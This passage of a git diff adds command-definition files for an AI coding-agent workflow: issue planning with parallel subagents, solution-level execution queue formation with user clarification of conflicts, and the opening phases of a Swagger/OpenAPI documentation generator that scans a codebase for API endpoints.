+    issues.push({ id, title: parsed.title || '', tags: parsed.tags || [] });
+  }
+}
+// Note: Agent fetches full issue content via `ccw issue status <id> --json`
+
+// Semantic grouping via Gemini CLI (max 4 issues per group)
+async function groupBySimilarityGemini(issues) {
+  const issueSummaries = issues.map(i => ({
+    id: i.id, title: i.title, tags: i.tags
+  }));
+
+  const prompt = `
+PURPOSE: Group similar issues by semantic similarity for batch processing; maximize within-group coherence; max 4 issues per group
+TASK: • Analyze issue titles/tags semantically • Identify functional/architectural clusters • Assign each issue to one group
+MODE: analysis
+CONTEXT: Issue metadata only
+EXPECTED: JSON with groups array, each containing max 4 issue_ids, theme, rationale
+RULES: $(cat ~/.claude/workflows/cli-templates/protocols/analysis-protocol.md) | Each issue in exactly one group | Max 4 issues per group | Balance group sizes
+
+INPUT:
+${JSON.stringify(issueSummaries, null, 2)}
+
+OUTPUT FORMAT:
+{"groups":[{"group_id":1,"theme":"...","issue_ids":["..."],"rationale":"..."}],"ungrouped":[]}
+`;
+
+  const taskId = Bash({
+    command: `ccw cli -p "${prompt}" --tool gemini --mode analysis`,
+    run_in_background: true, timeout: 600000
+  });
+  const output = TaskOutput({ task_id: taskId, block: true });
+
+  // Extract JSON from potential markdown code blocks
+  function extractJsonFromMarkdown(text) {
+    const jsonMatch = text.match(/```json\s*\n([\s\S]*?)\n```/) ||
+                      text.match(/```\s*\n([\s\S]*?)\n```/);
+    return jsonMatch ? jsonMatch[1] : text;
+  }
+
+  const result = JSON.parse(extractJsonFromMarkdown(output));
+  return result.groups.map(g => g.issue_ids.map(id => issues.find(i => i.id === id)));
+}
+
+const batches = await groupBySimilarityGemini(issues);
+console.log(`Processing ${issues.length} issues in ${batches.length} batch(es) (max 4 issues/agent)`);
+
+TodoWrite({
+  todos: batches.map((_, i) => ({
+    content: `Plan batch ${i+1}`,
+    status: 'pending',
+    activeForm: `Planning batch ${i+1}`
+  }))
+});
+```
+
+### Phase 2: Unified Explore + Plan (issue-plan-agent) - PARALLEL
+
+```javascript
+Bash(`mkdir -p .workflow/issues/solutions`);
+const pendingSelections = [];  // Collect multi-solution issues for user selection
+const agentResults = [];       // Collect all agent results for conflict aggregation
+
+// Build prompts for all batches
+const agentTasks = batches.map((batch, batchIndex) => {
+  const issueList = batch.map(i => `- ${i.id}: ${i.title}${i.tags.length ? ` [${i.tags.join(', ')}]` : ''}`).join('\n');
+  const batchIds = batch.map(i => i.id);
+
+  const issuePrompt = `
+## Plan Issues
+
+**Issues** (grouped by similarity):
+${issueList}
+
+**Project Root**: ${process.cwd()}
+
+### Project Context (MANDATORY)
+1. Read: .workflow/project-tech.json (technology stack, architecture)
+2. Read: .workflow/project-guidelines.json (constraints and conventions)
+
+### Workflow
+1. Fetch issue details: ccw issue status <id> --json
+2. Load project context files
+3. Explore codebase (ACE semantic search)
+4. Plan solution with tasks (schema: solution-schema.json)
+5. Write solution to: .workflow/issues/solutions/{issue-id}.jsonl
+6. Single solution → auto-bind; Multiple → return for selection
+
+### Rules
+- Solution ID format: SOL-{issue-id}-{seq}
+- Single solution per issue → auto-bind via ccw issue bind
+- Multiple solutions → register only, return pending_selection
+- Tasks must have quantified acceptance.criteria
+
+### Return Summary
+{"bound":[{"issue_id":"...","solution_id":"...","task_count":N}],"pending_selection":[{"issue_id":"...","solutions":[{"id":"...","description":"...","task_count":N}]}]}
+`;
+
+  return { batchIndex, batchIds, issuePrompt, batch };
+});
+
+// Launch agents in parallel (max 10 concurrent)
+const MAX_PARALLEL = 10;
+for (let i = 0; i < agentTasks.length; i += MAX_PARALLEL) {
+  const chunk = agentTasks.slice(i, i + MAX_PARALLEL);
+  const taskIds = [];
+
+  // Launch chunk in parallel
+  for (const { batchIndex, batchIds, issuePrompt, batch } of chunk) {
+    updateTodo(`Plan batch ${batchIndex + 1}`, 'in_progress');
+    const taskId = Task(
+      subagent_type="issue-plan-agent",
+      run_in_background=true,
+      description=`Explore & plan ${batch.length} issues: ${batchIds.join(', ')}`,
+      prompt=issuePrompt
+    );
+    taskIds.push({ taskId, batchIndex });
+  }
+
+  console.log(`Launched ${taskIds.length} agents (batch ${i/MAX_PARALLEL + 1}/${Math.ceil(agentTasks.length/MAX_PARALLEL)})...`);
+
+  // Collect results from this chunk
+  for (const { taskId, batchIndex } of taskIds) {
+    const result = TaskOutput(task_id=taskId, block=true);
+
+    // Extract JSON from potential markdown code blocks (agent may wrap in ```json...```)
+    const jsonText = extractJsonFromMarkdown(result);
+    let summary;
+    try {
+      summary = JSON.parse(jsonText);
+    } catch (e) {
+      console.log(`⚠ Batch ${batchIndex + 1}: Failed to parse agent result, skipping`);
+      updateTodo(`Plan batch ${batchIndex + 1}`, 'completed');
+      continue;
+    }
+    agentResults.push(summary);  // Store for Phase 3 conflict aggregation
+
+    for (const item of summary.bound || []) {
+      console.log(`✓ ${item.issue_id}: ${item.solution_id} (${item.task_count} tasks)`);
+    }
+    // Collect and notify pending selections
+    for (const pending of summary.pending_selection || []) {
+      console.log(`⏳ ${pending.issue_id}: ${pending.solutions.length} solutions → awaiting selection`);
+      pendingSelections.push(pending);
+    }
+    if (summary.conflicts?.length > 0) {
+      console.log(`⚠ Conflicts: ${summary.conflicts.length} detected (will resolve in Phase 3)`);
+    }
+    updateTodo(`Plan batch ${batchIndex + 1}`, 'completed');
+  }
+}
+```
+
+### Phase 3: Conflict Resolution & Solution Selection
+
+**Conflict Handling:**
+- Collect `conflicts` from all agent results
+- Low/Medium severity → auto-resolve with `recommended_resolution`
+- High severity → use `AskUserQuestion` to let user choose resolution
+
+**Multi-Solution Selection:**
+- If `pending_selection` contains issues with multiple solutions:
+  - Use `AskUserQuestion` to present options (solution ID + task count + description)
+  - Extract selected solution ID from user response
+  - Verify solution file exists, recover from payload if missing
+  - Bind selected solution via `ccw issue bind <issue-id> <solution-id>`
+
+### Phase 4: Summary
+
+```javascript
+// Count planned issues via CLI
+const planned = JSON.parse(Bash(`ccw issue list --status planned --brief`) || '[]');
+const plannedCount = planned.length;
+
+console.log(`
+## Done: ${issues.length} issues → ${plannedCount} planned
+
+Next: \`/issue:queue\` → \`/issue:execute\`
+`);
+```
+
+## Error Handling
+
+| Error | Resolution |
+|-------|------------|
+| Issue not found | Auto-create in issues.jsonl |
+| ACE search fails | Agent falls back to ripgrep |
+| No solutions generated | Display error, suggest manual planning |
+| User cancels selection | Skip issue, continue with others |
+| File conflicts | Agent detects and suggests resolution order |
+
+## Bash Compatibility
+
+**Avoid**: `$(cmd)`, `$var`, `for` loops — will be escaped incorrectly
+
+**Use**: Simple commands + `&&` chains, quote comma params `"pending,registered"`
+
+## Quality Checklist
+
+Before completing, verify:
+
+- [ ] All input issues have solutions in `solutions/{issue-id}.jsonl`
+- [ ] Single solution issues are auto-bound (`bound_solution_id` set)
+- [ ] Multi-solution issues returned in `pending_selection` for user choice
+- [ ] Each solution has executable tasks with `modification_points`
+- [ ] Task acceptance criteria are quantified (not vague)
+- [ ] Conflicts detected and reported (if multiple issues touch same files)
+- [ ] Issue status updated to `planned` after binding
+
+## Related Commands
+
+- `/issue:queue` - Form execution queue from bound solutions
+- `ccw issue list` - List all issues
+- `ccw issue status` - View issue and solution details

.claude/commands/issue/queue.md

@@ -0,0 +1,382 @@
+---
+name: queue
+description: Form execution queue from bound solutions using issue-queue-agent (solution-level)
+argument-hint: "[--queues <n>] [--issue <id>]"
+allowed-tools: TodoWrite(*), Task(*), Bash(*), Read(*), Write(*)
+---
+
+# Issue Queue Command (/issue:queue)
+
+## Overview
+
+Queue formation command using **issue-queue-agent** that analyzes all bound solutions, resolves **inter-solution** conflicts, and creates an ordered execution queue at **solution level**.
+
+**Design Principle**: Queue items are **solutions**, not individual tasks. Each executor receives a complete solution with all its tasks.
+
+## Core Capabilities
+
+- **Agent-driven**: issue-queue-agent handles all ordering logic
+- **Solution-level granularity**: Queue items are solutions, not tasks
+- **Conflict clarification**: High-severity conflicts prompt user decision
+- Semantic priority calculation per solution (0.0-1.0)
+- Parallel/Sequential group assignment for solutions
+
+## Core Guidelines
+
+**⚠️ Data Access Principle**: Issues and queue files can grow very large. To avoid context overflow:
+
+| Operation | Correct | Incorrect |
+|-----------|---------|-----------|
+| List issues (brief) | `ccw issue list --status planned --brief` | `Read('issues.jsonl')` |
+| List queue (brief) | `ccw issue queue --brief` | `Read('queues/*.json')` |
+| Read issue details | `ccw issue status <id> --json` | `Read('issues.jsonl')` |
+| Get next item | `ccw issue next --json` | `Read('queues/*.json')` |
+| Update status | `ccw issue update <id> --status ...` | Direct file edit |
+| Sync from queue | `ccw issue update --from-queue` | Direct file edit |
+| **Read solution (brief)** | `ccw issue solution <id> --brief` | `Read('solutions/*.jsonl')` |
+
+**Output Options**:
+- `--brief`: JSON with minimal fields (id, status, counts)
+- `--json`: Full JSON (agent use only)
+
+**Orchestration vs Execution**:
+- **Command (orchestrator)**: Use `--brief` for minimal context
+- **Agent (executor)**: Fetch full details → `ccw issue status <id> --json`
+
+**ALWAYS** use CLI commands for CRUD operations. **NEVER** read entire `issues.jsonl` or `queues/*.json` directly.
+
+
+
+## Usage
+
+```bash
+/issue:queue [FLAGS]
+
+# Examples
+/issue:queue                      # Form NEW queue from all bound solutions
+/issue:queue --queues 3           # Form 3 parallel queues (solutions distributed)
+/issue:queue --issue GH-123       # Form queue for specific issue only
+/issue:queue --append GH-124      # Append to active queue
+/issue:queue --list               # List all queues (history)
+/issue:queue --switch QUE-xxx     # Switch active queue
+/issue:queue --archive            # Archive completed active queue
+
+# Flags
+--queues <n>          Number of parallel queues (default: 1)
+--issue <id>          Form queue for specific issue only
+--append <id>         Append issue to active queue (don't create new)
+
+# CLI subcommands (ccw issue queue ...)
+ccw issue queue list                  List all queues with status
+ccw issue queue switch <queue-id>     Switch active queue
+ccw issue queue archive               Archive current queue
+ccw issue queue delete <queue-id>     Delete queue from history
+```
+
+## Execution Process
+
+```
+Phase 1: Solution Loading & Distribution
+   ├─ Load issues.jsonl, filter by status='planned' + bound_solution_id
+   ├─ Read solutions/{issue-id}.jsonl, find bound solution
+   ├─ Extract files_touched from task modification_points
+   ├─ Build solution objects array
+   └─ If --queues > 1: Partition solutions into N groups (minimize cross-group file conflicts)
+
+Phase 2-4: Agent-Driven Queue Formation (issue-queue-agent)
+   ├─ Generate N queue IDs (QUE-xxx-1, QUE-xxx-2, ...)
+   ├─ If --queues == 1: Launch single issue-queue-agent
+   ├─ If --queues > 1: Launch N issue-queue-agents IN PARALLEL
+   ├─ Each agent performs:
+   │   ├─ Conflict analysis (5 types via Gemini CLI)
+   │   ├─ Build dependency DAG from conflicts
+   │   ├─ Calculate semantic priority per solution
+   │   └─ Assign execution groups (parallel/sequential)
+   └─ Each agent writes: queue JSON + index update
+
+Phase 5: Conflict Clarification (if needed)
+   ├─ Collect `clarifications` arrays from all agents
+   ├─ If clarifications exist → AskUserQuestion (batched)
+   ├─ Pass user decisions back to respective agents (resume)
+   └─ Agents update queues with resolved conflicts
+
+Phase 6: Status Update & Summary
+   ├─ Update issue statuses to 'queued'
+   └─ Display queue summary (N queues), next step: /issue:execute
+```
+
+## Implementation
+
+### Phase 1: Solution Loading & Distribution
+
+**Data Loading:**
+- Use `ccw issue list --status planned --brief` to get planned issues with `bound_solution_id`
+- If no planned issues found → display message, suggest `/issue:plan`
+
+**Solution Brief Loading** (for each planned issue):
+```bash
+ccw issue solution <issue-id> --brief
+# Returns: [{ solution_id, is_bound, task_count, files_touched[] }]
+```
+
+**Build Solution Objects:**
+```json
+{
+  "issue_id": "ISS-xxx",
+  "solution_id": "SOL-ISS-xxx-1",
+  "task_count": 3,
+  "files_touched": ["src/auth.ts", "src/utils.ts"],
+  "priority": "medium"
+}
+```
+
+**Multi-Queue Distribution** (if `--queues > 1`):
+- Use `files_touched` from brief output for partitioning
+- Group solutions with overlapping files into same queue
+
+**Output:** Array of solution objects (or N arrays if multi-queue)
+
+### Phase 2-4: Agent-Driven Queue Formation
+
+**Generate Queue IDs** (command layer, pass to agent):
+```javascript
+const timestamp = new Date().toISOString().replace(/[-:T]/g, '').slice(0, 14);
+const numQueues = args.queues || 1;
+const queueIds = numQueues === 1
+  ? [`QUE-${timestamp}`]
+  : Array.from({length: numQueues}, (_, i) => `QUE-${timestamp}-${i + 1}`);
+```
+
+**Agent Prompt** (same for each queue, with assigned solutions):
+```
+## Order Solutions into Execution Queue
+
+**Queue ID**: ${queueId}
+**Solutions**: ${solutions.length} from ${issues.length} issues
+**Project Root**: ${cwd}
+**Queue Index**: ${queueIndex} of ${numQueues}
+
+### Input
+${JSON.stringify(solutions)}
+// Each object: { issue_id, solution_id, task_count, files_touched[], priority }
+
+### Workflow
+
+Step 1: Build dependency graph from solutions (nodes=solutions, edges=file conflicts via files_touched)
+Step 2: Use Gemini CLI for conflict analysis (5 types: file, API, data, dependency, architecture)
+Step 3: For high-severity conflicts without clear resolution → add to `clarifications`
+Step 4: Calculate semantic priority (base from issue priority + task_count boost)
+Step 5: Assign execution groups: P* (parallel, no overlaps) / S* (sequential, shared files)
+Step 6: Write queue JSON + update index
+
+### Output Requirements
+
+**Write files** (exactly 2):
+- `.workflow/issues/queues/${queueId}.json` - Full queue with solutions, conflicts, groups
+- `.workflow/issues/queues/index.json` - Update with new queue entry
+
+**Return JSON**:
+\`\`\`json
+{
+  "queue_id": "${queueId}",
+  "total_solutions": N,
+  "total_tasks": N,
+  "execution_groups": [{"id": "P1", "type": "parallel", "count": N}],
+  "issues_queued": ["ISS-xxx"],
+  "clarifications": [{"conflict_id": "CFT-1", "question": "...", "options": [...]}]
+}
+\`\`\`
+
+### Rules
+- Solution granularity (NOT individual tasks)
+- Queue Item ID format: S-1, S-2, S-3, ...
+- Use provided Queue ID (do NOT generate new)
+- `clarifications` only present if high-severity unresolved conflicts exist
+- Use `files_touched` from input (already extracted by orchestrator)
+
+### Done Criteria
+- [ ] Queue JSON written with all solutions ordered
+- [ ] Index updated with active_queue_id
+- [ ] No circular dependencies
+- [ ] Parallel groups have no file overlaps
+- [ ] Return JSON matches required shape
+```
+
+**Launch Agents** (parallel if multi-queue):
+```javascript
+const numQueues = args.queues || 1;
+
+if (numQueues === 1) {
+  // Single queue: single agent call
+  const result = Task(
+    subagent_type="issue-queue-agent",
+    prompt=buildPrompt(queueIds[0], solutions),
+    description=`Order ${solutions.length} solutions`
+  );
+} else {
+  // Multi-queue: parallel agent calls (single message with N Task calls)
+  const agentPromises = solutionGroups.map((group, i) =>
+    Task(
+      subagent_type="issue-queue-agent",
+      prompt=buildPrompt(queueIds[i], group, i + 1, numQueues),
+      description=`Queue ${i + 1}/${numQueues}: ${group.length} solutions`
+    )
+  );
+  // All agents launched in parallel via single message with multiple Task tool calls
+}
+```
+
+**Multi-Queue Index Update:**
+- First queue sets `active_queue_id`
+- All queues added to `queues` array with `queue_group` field linking them
+
+### Phase 5: Conflict Clarification
+
+**Collect Agent Results** (multi-queue):
+```javascript
+// Collect clarifications from all agents
+const allClarifications = results.flatMap((r, i) =>
+  (r.clarifications || []).map(c => ({ ...c, queue_id: queueIds[i], agent_id: agentIds[i] }))
+);
+```
+
+**Check Agent Return:**
+- Parse agent result JSON (or all results if multi-queue)
+- If any `clarifications` array exists and non-empty → user decision required
+
+**Clarification Flow:**
+```javascript
+if (allClarifications.length > 0) {
+  for (const clarification of allClarifications) {
+    // Present to user via AskUserQuestion
+    const answer = AskUserQuestion({
+      questions: [{
+        question: `[${clarification.queue_id}] ${clarification.question}`,
+        header: clarification.conflict_id,
+        options: clarification.options,
+        multiSelect: false
+      }]
+    });
+
+    // Resume respective agent with user decision
+    Task(
+      subagent_type="issue-queue-agent",
+      resume=clarification.agent_id,
+      prompt=`Conflict ${clarification.conflict_id} resolved: ${answer.selected}`
+    );
+  }
+}
+```
+
+### Phase 6: Status Update & Summary
+
+**Status Update** (MUST use CLI command, NOT direct file operations):
+
+```bash
+# Option 1: Batch update from queue (recommended)
+ccw issue update --from-queue [queue-id] --json
+ccw issue update --from-queue --json              # Use active queue
+ccw issue update --from-queue QUE-xxx --json      # Use specific queue
+
+# Option 2: Individual issue update
+ccw issue update <issue-id> --status queued
+```
+
+**⚠️ IMPORTANT**: Do NOT directly modify `issues.jsonl`. Always use CLI command to ensure proper validation and history tracking.
+
+**Output** (JSON):
+```json
+{
+  "success": true,
+  "queue_id": "QUE-xxx",
+  "queued": ["ISS-001", "ISS-002"],
+  "queued_count": 2,
+  "unplanned": ["ISS-003"],
+  "unplanned_count": 1
+}
+```
+
+**Behavior:**
+- Updates issues in queue to `status: 'queued'` (skips already queued/executing/completed)
+- Identifies planned issues with `bound_solution_id` NOT in queue → `unplanned` array
+- Optional `queue-id`: defaults to active queue if omitted
+
+**Summary Output:**
+- Display queue ID, solution count, task count
+- Show unplanned issues (planned but NOT in queue)
+- Show next step: `/issue:execute`
+
+
+## Storage Structure (Queue History)
+
+```
+.workflow/issues/
+├── issues.jsonl              # All issues (one per line)
+├── queues/                   # Queue history directory
+│   ├── index.json            # Queue index (active + history)
+│   ├── {queue-id}.json       # Individual queue files
+│   └── ...
+└── solutions/
+    ├── {issue-id}.jsonl      # Solutions for issue
+    └── ...
+```
+
+### Queue Index Schema
+
+```json
+{
+  "active_queue_id": "QUE-20251227-143000",
+  "active_queue_group": "QGR-20251227-143000",
+  "queues": [
+    {
+      "id": "QUE-20251227-143000-1",
+      "queue_group": "QGR-20251227-143000",
+      "queue_index": 1,
+      "total_queues": 3,
+      "status": "active",
+      "issue_ids": ["ISS-xxx", "ISS-yyy"],
+      "total_solutions": 3,
+      "completed_solutions": 1,
+      "created_at": "2025-12-27T14:30:00Z"
+    }
+  ]
+}
+```
+
+**Multi-Queue Fields:**
+- `queue_group`: Links queues created in same batch (format: `QGR-{timestamp}`)
+- `queue_index`: Position in group (1-based)
+- `total_queues`: Total queues in group
+- `active_queue_group`: Current active group (for multi-queue execution)
+
+**Note**: Queue file schema is produced by `issue-queue-agent`. See agent documentation for details.
+## Error Handling
+
+| Error | Resolution |
+|-------|------------|
+| No bound solutions | Display message, suggest /issue:plan |
+| Circular dependency | List cycles, abort queue formation |
+| High-severity conflict | Return `clarifications`, prompt user decision |
+| User cancels clarification | Abort queue formation |
+| **index.json not updated** | Auto-fix: Set active_queue_id to new queue |
+| **Queue file missing solutions** | Abort with error, agent must regenerate |
+
+## Quality Checklist
+
+Before completing, verify:
+
+- [ ] All planned issues with `bound_solution_id` are included
+- [ ] Queue JSON written to `queues/{queue-id}.json` (N files if multi-queue)
+- [ ] Index updated in `queues/index.json` with `active_queue_id`
+- [ ] Multi-queue: All queues share same `queue_group`
+- [ ] No circular dependencies in solution DAG
+- [ ] All conflicts resolved (auto or via user clarification)
+- [ ] Parallel groups have no file overlaps
+- [ ] Cross-queue: No file overlaps between queues
+- [ ] Issue statuses updated to `queued`
+
+## Related Commands
+
+- `/issue:execute` - Execute queue with codex
+- `ccw issue queue list` - View current queue
+- `ccw issue update --from-queue [queue-id]` - Sync issue statuses from queue

.claude/commands/memory/swagger-docs.md

@@ -0,0 +1,773 @@
+---
+name: swagger-docs
+description: Generate complete Swagger/OpenAPI documentation following RESTful standards with global security, API details, error codes, and validation tests
+argument-hint: "[path] [--tool <gemini|qwen|codex>] [--format <yaml|json>] [--version <v3.0|v3.1>] [--lang <zh|en>]"
+---
+
+# Swagger API Documentation Workflow (/memory:swagger-docs)
+
+## Overview
+
+Professional Swagger/OpenAPI documentation generator that strictly follows RESTful API design standards to produce enterprise-grade API documentation.
+
+**Core Features**:
+- **RESTful Standards**: Strict adherence to REST architecture and HTTP semantics
+- **Global Security**: Unified Authorization Token validation mechanism
+- **Complete API Docs**: Descriptions, methods, URLs, parameters for each endpoint
+- **Organized Structure**: Clear directory hierarchy by business domain
+- **Detailed Fields**: Type, required, example, description for each field
+- **Error Code Standards**: Unified error response format and code definitions
+- **Validation Tests**: Boundary conditions and exception handling tests
+
+**Output Structure** (--lang zh):
+```
+.workflow/docs/{project_name}/api/
+├── swagger.yaml              # Main OpenAPI spec file
+├── 概述/
+│   ├── README.md             # API overview
+│   ├── 认证说明.md           # Authentication guide
+│   ├── 错误码规范.md         # Error code definitions
+│   └── 版本历史.md           # Version history
+├── 用户模块/                 # Grouped by business domain
+│   ├── 用户认证.md
+│   ├── 用户管理.md
+│   └── 权限控制.md
+├── 业务模块/
+│   └── ...
+└── 测试报告/
+    ├── 接口测试.md           # API test results
+    └── 边界测试.md           # Boundary condition tests
+```
+
+**Output Structure** (--lang en):
+```
+.workflow/docs/{project_name}/api/
+├── swagger.yaml              # Main OpenAPI spec file
+├── overview/
+│   ├── README.md             # API overview
+│   ├── authentication.md     # Authentication guide
+│   ├── error-codes.md        # Error code definitions
+│   └── changelog.md          # Version history
+├── users/                    # Grouped by business domain
+│   ├── authentication.md
+│   ├── management.md
+│   └── permissions.md
+├── orders/
+│   └── ...
+└── test-reports/
+    ├── api-tests.md          # API test results
+    └── boundary-tests.md     # Boundary condition tests
+```
+
+## Parameters
+
+```bash
+/memory:swagger-docs [path] [--tool <gemini|qwen|codex>] [--format <yaml|json>] [--version <v3.0|v3.1>] [--lang <zh|en>]
+```
+
+- **path**: API source code directory (default: current directory)
+- **--tool**: CLI tool selection (default: gemini)
+  - `gemini`: Comprehensive analysis, pattern recognition
+  - `qwen`: Architecture analysis, system design
+  - `codex`: Implementation validation, code quality
+- **--format**: OpenAPI spec format (default: yaml)
+  - `yaml`: YAML format (recommended, better readability)
+  - `json`: JSON format
+- **--version**: OpenAPI version (default: v3.0)
+  - `v3.0`: OpenAPI 3.0.x
+  - `v3.1`: OpenAPI 3.1.0 (supports JSON Schema 2020-12)
+- **--lang**: Documentation language (default: zh)
+  - `zh`: Chinese documentation with Chinese directory names
+  - `en`: English documentation with English directory names
+
+## Planning Workflow
+
+### Phase 1: Initialize Session
+
+```bash
+# Get project info
+bash(pwd && basename "$(pwd)" && git rev-parse --show-toplevel 2>/dev/null || pwd && date +%Y%m%d-%H%M%S)
+```
+
+```javascript
+// Create swagger-docs session
+SlashCommand(command="/workflow:session:start --type swagger-docs --new \"{project_name}-swagger-{timestamp}\"")
+// Parse output to get sessionId
+```
+
+```bash
+# Update workflow-session.json
+bash(jq '. + {"target_path":"{target_path}","project_root":"{project_root}","project_name":"{project_name}","format":"yaml","openapi_version":"3.0.3","lang":"{lang}","tool":"gemini"}' .workflow/active/{sessionId}/workflow-session.json > tmp.json && mv tmp.json .workflow/active/{sessionId}/workflow-session.json)
+```
+
+### Phase 2: Scan API Endpoints
+
+**Discovery Patterns**: Auto-detect framework signatures and API definition styles.
+
+**Supported Frameworks**:
+| Framework | Detection Pattern | Example |
+|-----------|-------------------|---------|
+| Express.js | `router.get/post/put/delete` | `router.get('/users/:id')` |
+| Fastify | `fastify.route`, `@Route` | `fastify.get('/api/users')` |
+| NestJS | `@Controller`, `@Get/@Post` | `@Get('users/:id')` |
+| Koa | `router.get`, `ctx.body` | `router.get('/users')` |
+| Hono | `app.get/post`, `c.json` | `app.get('/users/:id')` |
+| FastAPI | `@app.get`, `@router.post` | `@app.get("/users/{id}")` |
+| Flask | `@app.route`, `@bp.route` | `@app.route('/users')` |
+| Spring | `@GetMapping`, `@PostMapping` | `@GetMapping("/users/{id}")` |
+| Go Gin | `r.GET`, `r.POST` | `r.GET("/users/:id")` |
+| Go Chi | `r.Get`, `r.Post` | `r.Get("/users/{id}")` |
+
+**Commands**:
+
+```bash
+# 1. Detect API framework type
+bash(
+  if rg -q "@Controller|@Get|@Post|@Put|@Delete" --type ts 2>/dev/null; then echo "NESTJS";
+  elif rg -q "router\.(get|post|put|delete|patch)" --type ts --type js 2>/dev/null; then echo "EXPRESS";
+  elif rg -q "fastify\.(get|post|route)" --type ts --type js 2>/dev/null; then echo "FASTIFY";
+  elif rg -q "@app\.(get|post|put|delete)" --type py 2>/dev/null; then echo "FASTAPI";
+  elif rg -q "@GetMapping|@PostMapping|@RequestMapping" --type java 2>/dev/null; then echo "SPRING";
+  elif rg -q 'r\.(GET|POST|PUT|DELETE)' --type go 2>/dev/null; then echo "GO_GIN";
+  else echo "UNKNOWN"; fi
+)
+
+# 2. Scan all API endpoint definitions
+bash(rg -n "(router|app|fastify)\.(get|post|put|delete|patch)|@(Get|Post|Put|Delete|Patch|Controller|RequestMapping)" --type ts --type js --type py --type java --type go -g '!*.test.*' -g '!*.spec.*' -g '!node_modules/**' 2>/dev/null | head -200)
+
+# 3. Extract route paths
+bash(rg -o "['\"](/api)?/[a-zA-Z0-9/:_-]+['\"]" --type ts --type js --type py -g '!*.test.*' 2>/dev/null | sort -u | head -100)
+
+# 4. Detect existing OpenAPI/Swagger files
+bash(find . -type f \( -name "swagger.yaml" -o -name "swagger.json" -o -name "openapi.yaml" -o -name "openapi.json" \) ! -path "*/node_modules/*" 2>/dev/null)
+
+# 5. Extract DTO/Schema definitions
+bash(rg -n "export (interface|type|class).*Dto|@ApiProperty|class.*Schema" --type ts -g '!*.test.*' 2>/dev/null | head -100)
+```
+
+**Data Processing**: Parse outputs, use **Write tool** to create `${session_dir}/.process/swagger-planning-data.json`:
+
+```json
+{
+  "metadata": {
+    "generated_at": "2025-01-01T12:00:00+08:00",
+    "project_name": "project_name",
+    "project_root": "/path/to/project",
+    "openapi_version": "3.0.3",
+    "format": "yaml",
+    "lang": "zh"
+  },
+  "framework": {
+    "type": "NESTJS",
+    "detected_patterns": ["@Controller", "@Get", "@Post"],
+    "base_path": "/api/v1"
+  },
+  "endpoints": [
+    {
+      "file": "src/modules/users/users.controller.ts",
+      "line": 25,
+      "method": "GET",
+      "path": "/api/v1/users/:id",
+      "handler": "getUser",
+      "controller": "UsersController"
+    }
+  ],
+  "existing_specs": {
+    "found": false,
+    "files": []
+  },
+  "dto_schemas": [
+    {
+      "name": "CreateUserDto",
+      "file": "src/modules/users/dto/create-user.dto.ts",
+      "properties": ["email", "password", "name"]
+    }
+  ],
+  "statistics": {
+    "total_endpoints": 45,
+    "by_method": {"GET": 20, "POST": 15, "PUT": 5, "DELETE": 5},
+    "by_module": {"users": 12, "auth": 8, "orders": 15, "products": 10}
+  }
+}
+```
+
+### Phase 3: Analyze API Structure
+
+**Commands**:
+
+```bash
+# 1. Analyze controller/route file structure
+bash(cat ${session_dir}/.process/swagger-planning-data.json | jq -r '.endpoints[].file' | sort -u | head -20)
+
+# 2. Extract request/response types
+bash(for f in $(jq -r '.dto_schemas[].file' ${session_dir}/.process/swagger-planning-data.json | head -20); do echo "=== $f ===" && cat "$f" 2>/dev/null; done)
+
+# 3. Analyze authentication middleware
+bash(rg -n "auth|guard|middleware|jwt|bearer|token" -i --type ts --type js -g '!*.test.*' -g '!node_modules/**' 2>/dev/null | head -50)
+
+# 4. Detect error handling patterns
+bash(rg -n "HttpException|BadRequest|Unauthorized|Forbidden|NotFound|throw new" --type ts --type js -g '!*.test.*' 2>/dev/null | head -50)
+```
+
+**Deep Analysis via Gemini CLI**:
+
+```bash
+ccw cli -p "
+PURPOSE: Analyze API structure and generate OpenAPI specification outline for comprehensive documentation
+TASK: 
+• Parse all API endpoints and identify business module boundaries
+• Extract request parameters, request bodies, and response formats
+• Identify authentication mechanisms and security requirements
+• Discover error handling patterns and error codes
+• Map endpoints to logical module groups
+MODE: analysis
+CONTEXT: @src/**/*.controller.ts @src/**/*.routes.ts @src/**/*.dto.ts @src/**/middleware/**/*
+EXPECTED: JSON format API structure analysis report with modules, endpoints, security schemes, and error codes
+RULES: $(cat ~/.claude/workflows/cli-templates/protocols/analysis-protocol.md) | Strict RESTful standards | Identify all public endpoints | Document output language: {lang}
+" --tool gemini --mode analysis --cd {project_root}
+```
+
+**Update swagger-planning-data.json** with analysis results:
+
+```json
+{
+  "api_structure": {
+    "modules": [
+      {
+        "name": "Users",
+        "name_zh": "用户模块",
+        "base_path": "/api/v1/users",
+        "endpoints": [
+          {
+            "path": "/api/v1/users",
+            "method": "GET",
+            "operation_id": "listUsers",
+            "summary": "List all users",
+            "summary_zh": "获取用户列表",
+            "description": "Paginated list of system users with filtering by status and role",
+            "description_zh": "分页获取系统用户列表，支持按状态、角色筛选",
+            "tags": ["User Management"],
+            "tags_zh": ["用户管理"],
+            "security": ["bearerAuth"],
+            "parameters": {
+              "query": ["page", "limit", "status", "role"]
+            },
+            "responses": {
+              "200": "UserListResponse",
+              "401": "UnauthorizedError",
+              "403": "ForbiddenError"
+            }
+          }
+        ]
+      }
+    ],
+    "security_schemes": {
+      "bearerAuth": {
+        "type": "http",
+        "scheme": "bearer",
+        "bearerFormat": "JWT",
+        "description": "JWT Token authentication. Add Authorization: Bearer <token> to request header"
+      }
+    },
+    "error_codes": [
+      {"code": "AUTH_001", "status": 401, "message": "Invalid or expired token", "message_zh": "Token 无效或已过期"},
+      {"code": "AUTH_002", "status": 401, "message": "Authentication required", "message_zh": "未提供认证信息"},
+      {"code": "AUTH_003", "status": 403, "message": "Insufficient permissions", "message_zh": "权限不足"}
+    ]
+  }
+}
+```
+
+### Phase 4: Task Decomposition
+
+**Task Hierarchy**:
+
+```
+Level 1: Infrastructure Tasks (Parallel)
+  ├─ IMPL-001: Generate main OpenAPI spec file (swagger.yaml)
+  ├─ IMPL-002: Generate global security config and auth documentation
+  └─ IMPL-003: Generate unified error code specification
+
+Level 2: Module Documentation Tasks (Parallel, by business module)
+  ├─ IMPL-004: Users module API documentation
+  ├─ IMPL-005: Auth module API documentation
+  ├─ IMPL-006: Business module N API documentation
+  └─ ...
+
+Level 3: Aggregation Tasks (Depends on Level 1-2)
+  ├─ IMPL-N+1: Generate API overview and navigation
+  └─ IMPL-N+2: Generate version history and changelog
+
+Level 4: Validation Tasks (Depends on Level 1-3)
+  ├─ IMPL-N+3: API endpoint validation tests
+  └─ IMPL-N+4: Boundary condition tests
+```
+
